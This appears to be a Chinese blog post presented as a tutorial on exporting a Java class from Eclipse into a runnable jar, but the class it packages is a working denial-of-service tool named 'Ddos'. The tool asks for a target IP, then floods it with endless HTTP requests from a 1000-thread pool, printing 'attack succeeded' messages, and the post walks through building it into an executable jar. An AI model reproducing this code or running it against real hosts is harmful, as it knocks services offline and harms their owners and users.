记录一次帮助小伙伴将java类打成jar包运行
1、创建java project项目
file > new > project > java project
随便起一个项目名称,finish 完成后项目结构如下:
2、植入java类
将准备好的java类,植入项目中,在 src 目录中,新建包名,例如:club.sscai,然后将文件放入该包下。
package club.sscai;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.Scanner;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;/*** niceyoo*/
public class Ddos {public static void main(String[] args) {Scanner sc = new Scanner(System.in);sc.useDelimiter("/n");System.out.println("请输入要攻击的ip地址:然后敲回车执行");String ip = sc.nextLine();if(ip!=null&&ip!=""){/*利用线程池创建1000个线程*/ExecutorService es = Executors.newFixedThreadPool(1000);Mythread mythread = new Mythread(ip);Thread thread = new Thread(mythread);for (int i = 0; i < 10000; i++) {es.execute(thread);}}}
}class Mythread implements Runnable {String ip;public Mythread(String ip) {this.ip = ip;}public void run() {while (true) {try {URL url = new URL("http://"+ip+"/");URLConnection conn = url.openConnection();System.out.println("发包成功!");BufferedInputStream bis = new BufferedInputStream(conn.getInputStream());byte[] bytes = new byte[1024];int len = -1;StringBuffer sb = new StringBuffer();if (bis != null) {if ((len = bis.read()) != -1) {sb.append(new String(bytes, 0, len));System.out.println("攻击成功!");bis.close();}}} catch (MalformedURLException e) {e.printStackTrace();} catch (IOException e) {e.printStackTrace();}}}
}
项目明上执行右键,选择 Export…
选择 java 下的 jar file:
指定打包项目,以及打出的jar包输出路径,执行 Next 下一步:
选择运行的主类,然后执行 finish:
运行 java -jar sk.jar:
左上角点个关注呗!